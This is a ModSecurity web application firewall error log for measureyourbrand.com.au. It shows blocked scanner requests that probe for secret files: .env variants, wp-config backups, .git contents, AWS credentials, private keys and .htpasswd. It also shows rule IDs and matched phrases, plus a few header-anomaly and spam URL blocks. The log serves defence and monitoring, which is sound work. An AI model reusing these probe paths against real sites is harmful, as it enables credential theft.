[Wed May 06 10:38:29.822953 2026] [:error] [pid 9789:tid 9800] [client 92.118.39.194:34722] [client 92.118.39.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/actuator/threaddump"] [unique_id "afqppT_YStPJSCHPkUUpjAAAAEk"]
[Wed May 06 10:38:29.823227 2026] [:error] [pid 9653:tid 9714] [client 92.118.39.194:34654] [client 92.118.39.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/instance/config.py"] [unique_id "afqppahJ49Xc4dqq0B5s_gAAABA"]
[Wed May 06 10:38:29.824637 2026] [:error] [pid 9789:tid 9802] [client 92.118.39.194:34956] [client 92.118.39.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/graphql"] [unique_id "afqppT_YStPJSCHPkUUpjQAAAEs"]
[Wed May 06 10:38:29.827719 2026] [:error] [pid 9653:tid 9705] [client 92.118.39.194:34906] [client 92.118.39.194] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "afqppahJ49Xc4dqq0B5s_wAAAAc"]
[Wed May 06 10:38:29.834404 2026] [:error] [pid 9659:tid 9749] [client 92.118.39.194:34758] [client 92.118.39.194] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/backend/.env"] [unique_id "afqppfwJnWjd8JHpBttRPQAAAM8"]
[Wed May 06 10:38:29.840208 2026] [:error] [pid 9664:tid 9778] [client 92.118.39.194:34578] [client 92.118.39.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config/database.yml"] [unique_id "afqppQH4OZbrg1SjsBPz6wAAAJA"]
[Wed May 06 10:38:29.841814 2026] [:error] [pid 9653:tid 9702] [client 92.118.39.194:34792] [client 92.118.39.194] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "afqppahJ49Xc4dqq0B5tAQAAAAQ"]
[Wed May 06 10:38:29.844169 2026] [:error] [pid 9664:tid 9785] [client 92.118.39.194:34546] [client 92.118.39.194] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php~"] [unique_id "afqppQH4OZbrg1SjsBPz7gAAAJc"]
[Wed May 06 10:38:29.844751 2026] [:error] [pid 9659:tid 9754] [client 92.118.39.194:34590] [client 92.118.39.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config/master.key"] [unique_id "afqppfwJnWjd8JHpBttRPgAAANQ"]
[Wed May 06 10:38:29.846627 2026] [:error] [pid 9659:tid 9743] [client 92.118.39.194:34754] [client 92.118.39.194] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "afqppfwJnWjd8JHpBttRQAAAAMk"]
[Wed May 06 10:38:29.847692 2026] [:error] [pid 13414:tid 13440] [client 92.118.39.194:34530] [client 92.118.39.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/storage/app/oauth-private.key"] [unique_id "afqppUuJQpWjVpJTu_nrAgAAARg"]
[Wed May 06 10:38:29.861660 2026] [:error] [pid 9653:tid 9704] [client 92.118.39.194:34630] [client 92.118.39.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/docker-compose.yml"] [unique_id "afqppahJ49Xc4dqq0B5tBgAAAAY"]
[Wed May 06 10:38:29.868893 2026] [:error] [pid 9789:tid 9809] [client 92.118.39.194:34614] [client 92.118.39.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.aws/credentials"] [unique_id "afqppT_YStPJSCHPkUUplgAAAFI"]
[Wed May 06 10:38:29.869586 2026] [:error] [pid 9653:tid 9700] [client 92.118.39.194:34490] [client 92.118.39.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vite.config.js"] [unique_id "afqppahJ49Xc4dqq0B5tCAAAAAI"]
[Wed May 06 10:38:29.886458 2026] [:error] [pid 9789:tid 9812] [client 92.118.39.194:34516] [client 92.118.39.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/openid-configuration"] [unique_id "afqppT_YStPJSCHPkUUpmAAAAFU"]
[Wed May 06 11:05:16.972408 2026] [:error] [pid 13414:tid 13422] [client 43.159.136.201:54156] [client 43.159.136.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afqv7EuJQpWjVpJTu_ntagAAAQY"]
[Wed May 06 13:09:04.860597 2026] [:error] [pid 13414:tid 13417] [client 159.198.37.208:36258] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "afrM8EuJQpWjVpJTu_n3EQAAAQE"]
[Wed May 06 13:09:04.861197 2026] [:error] [pid 9789:tid 9795] [client 159.198.37.208:36270] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "afrM8D_YStPJSCHPkUVDgAAAAEQ"]
[Wed May 06 13:09:04.861584 2026] [:error] [pid 592:tid 615] [client 159.198.37.208:36256] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "afrM8JiX28mb6xLi2PyKqQAAApE"]
[Wed May 06 13:09:04.862145 2026] [:error] [pid 13414:tid 13429] [client 159.198.37.208:36320] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "afrM8EuJQpWjVpJTu_n3EgAAAQ0"]
[Wed May 06 13:09:04.862717 2026] [:error] [pid 592:tid 619] [client 159.198.37.208:36298] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "afrM8JiX28mb6xLi2PyKqgAAApQ"]
[Wed May 06 13:09:04.863561 2026] [:error] [pid 482:tid 486] [client 159.198.37.208:36348] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.swp"] [unique_id "afrM8Mxs8HOc_nWgOW7kqAAAAcI"]
[Wed May 06 13:09:04.864324 2026] [:error] [pid 592:tid 612] [client 159.198.37.208:36308] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dev"] [unique_id "afrM8JiX28mb6xLi2PyKqwAAApA"]
[Wed May 06 13:09:04.864740 2026] [:error] [pid 13414:tid 13418] [client 159.198.37.208:36358] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/config/.env"] [unique_id "afrM8EuJQpWjVpJTu_n3EwAAAQI"]
[Wed May 06 13:09:04.865434 2026] [:error] [pid 9653:tid 9699] [client 159.198.37.208:36408] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php.bak"] [unique_id "afrM8KhJ49Xc4dqq0B6PdQAAAAE"]
[Wed May 06 13:09:04.866040 2026] [:error] [pid 9789:tid 9814] [client 159.198.37.208:36338] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "afrM8D_YStPJSCHPkUVDgQAAAFc"]
[Wed May 06 13:09:04.866806 2026] [:error] [pid 9653:tid 9700] [client 159.198.37.208:36324] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod"] [unique_id "afrM8KhJ49Xc4dqq0B6PdgAAAAI"]
[Wed May 06 13:09:04.867998 2026] [:error] [pid 482:tid 498] [client 159.198.37.208:36244] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "afrM8Mxs8HOc_nWgOW7kqQAAAc4"]
[Wed May 06 13:09:04.868056 2026] [:error] [pid 9659:tid 9744] [client 159.198.37.208:36284] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "afrM8PwJnWjd8JHpBttfSgAAAMo"]
[Wed May 06 13:09:04.868947 2026] [:error] [pid 13414:tid 13419] [client 159.198.37.208:36380] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/backend/.env"] [unique_id "afrM8EuJQpWjVpJTu_n3FAAAAQM"]
[Wed May 06 13:09:04.869644 2026] [:error] [pid 13414:tid 13422] [client 159.198.37.208:36382] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "afrM8EuJQpWjVpJTu_n3FQAAAQY"]
[Wed May 06 13:09:04.869895 2026] [:error] [pid 13414:tid 13434] [client 159.198.37.208:36398] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/src/.env"] [unique_id "afrM8EuJQpWjVpJTu_n3FgAAARI"]
[Wed May 06 13:09:04.870753 2026] [:error] [pid 9789:tid 9804] [client 159.198.37.208:36458] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php.orig"] [unique_id "afrM8D_YStPJSCHPkUVDggAAAE0"]
[Wed May 06 13:09:04.871863 2026] [:error] [pid 592:tid 610] [client 159.198.37.208:36412] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php.txt"] [unique_id "afrM8JiX28mb6xLi2PyKrAAAAo4"]
[Wed May 06 13:09:04.872066 2026] [:error] [pid 592:tid 604] [client 159.198.37.208:36364] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "afrM8JiX28mb6xLi2PyKrQAAAog"]
[Wed May 06 13:09:04.872700 2026] [:error] [pid 592:tid 611] [client 159.198.37.208:36416] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.bak" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.bak"] [unique_id "afrM8JiX28mb6xLi2PyKrgAAAo8"]
[Wed May 06 13:09:04.873378 2026] [:error] [pid 9789:tid 9805] [client 159.198.37.208:36400] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php"] [unique_id "afrM8D_YStPJSCHPkUVDgwAAAE4"]
[Wed May 06 13:09:04.874585 2026] [:error] [pid 557:tid 572] [client 159.198.37.208:36426] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php.save"] [unique_id "afrM8DZjFR8Vd8ce80AWSwAAAk0"]
[Wed May 06 13:09:04.875874 2026] [:error] [pid 9789:tid 9793] [client 159.198.37.208:36434] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php.swp"] [unique_id "afrM8D_YStPJSCHPkUVDhgAAAEI"]
[Wed May 06 13:09:04.877301 2026] [:error] [pid 9659:tid 9752] [client 159.198.37.208:36492] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/etc/local.xml"] [unique_id "afrM8PwJnWjd8JHpBttfSwAAANI"]
[Wed May 06 13:09:04.878218 2026] [:error] [pid 9789:tid 9810] [client 159.198.37.208:36476] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/configuration.php.bak"] [unique_id "afrM8D_YStPJSCHPkUVDhQAAAFM"]
[Wed May 06 13:09:04.879002 2026] [:error] [pid 9789:tid 9811] [client 159.198.37.208:36442] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php~"] [unique_id "afrM8D_YStPJSCHPkUVDhwAAAFQ"]
[Wed May 06 13:09:04.879555 2026] [:error] [pid 9789:tid 9800] [client 159.198.37.208:36528] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "afrM8D_YStPJSCHPkUVDiQAAAEk"]
[Wed May 06 13:09:04.881631 2026] [:error] [pid 9789:tid 9807] [client 159.198.37.208:36530] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "afrM8D_YStPJSCHPkUVDigAAAFA"]
[Wed May 06 13:09:04.882802 2026] [:error] [pid 9659:tid 9737] [client 159.198.37.208:36542] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/index"] [unique_id "afrM8PwJnWjd8JHpBttfTAAAAMM"]
[Wed May 06 13:09:04.887837 2026] [:error] [pid 13414:tid 13423] [client 159.198.37.208:36668] [client 159.198.37.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase ".htpasswd" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.htpasswd"] [unique_id "afrM8EuJQpWjVpJTu_n3HQAAAQc"]
[Wed May 06 19:31:59.163947 2026] [:error] [pid 482:tid 491] [client 79.127.164.136:31547] [client 79.127.164.136] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "afsmr8xs8HOc_nWgOW4-pAAAAcc"]
[Wed May 06 20:26:55.183353 2026] [:error] [pid 13443:tid 13469] [client 43.133.220.37:37312] [client 43.133.220.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afszjwCyfZallDmsQreZqwAAAVg"]
[Wed May 06 20:31:30.796680 2026] [:error] [pid 9659:tid 9743] [client 177.7.56.88:49014] [client 177.7.56.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "afs0ovwJnWjd8JHpBtuO5AAAAMk"]
[Wed May 06 21:23:12.273623 2026] [:error] [pid 9653:tid 9721] [client 43.166.255.122:40088] [client 43.166.255.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aftAwKhJ49Xc4dqq0B4WsQAAABc"]
[Wed May 06 21:49:17.700493 2026] [:error] [pid 9653:tid 9710] [client 162.14.66.219:34046] [client 162.14.66.219] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aftG3ahJ49Xc4dqq0B4dSQAAAAw"]
[Wed May 06 23:32:23.719458 2026] [:error] [pid 9789:tid 9812] [client 42.200.231.39:16457] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aftfBz_YStPJSCHPkUW08wAAAFU"]
[Wed May 06 23:32:25.753136 2026] [:error] [pid 9789:tid 9792] [client 42.200.231.39:57587] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aftfCT_YStPJSCHPkUW0-gAAAEE"]
[Wed May 06 23:32:27.789507 2026] [:error] [pid 9664:tid 9765] [client 42.200.231.39:27585] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aftfCwH4OZbrg1SjsBNd3wAAAIM"]
[Wed May 06 23:32:29.755707 2026] [:error] [pid 9789:tid 9802] [client 42.200.231.39:27938] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aftfDT_YStPJSCHPkUW1AAAAAEs"]
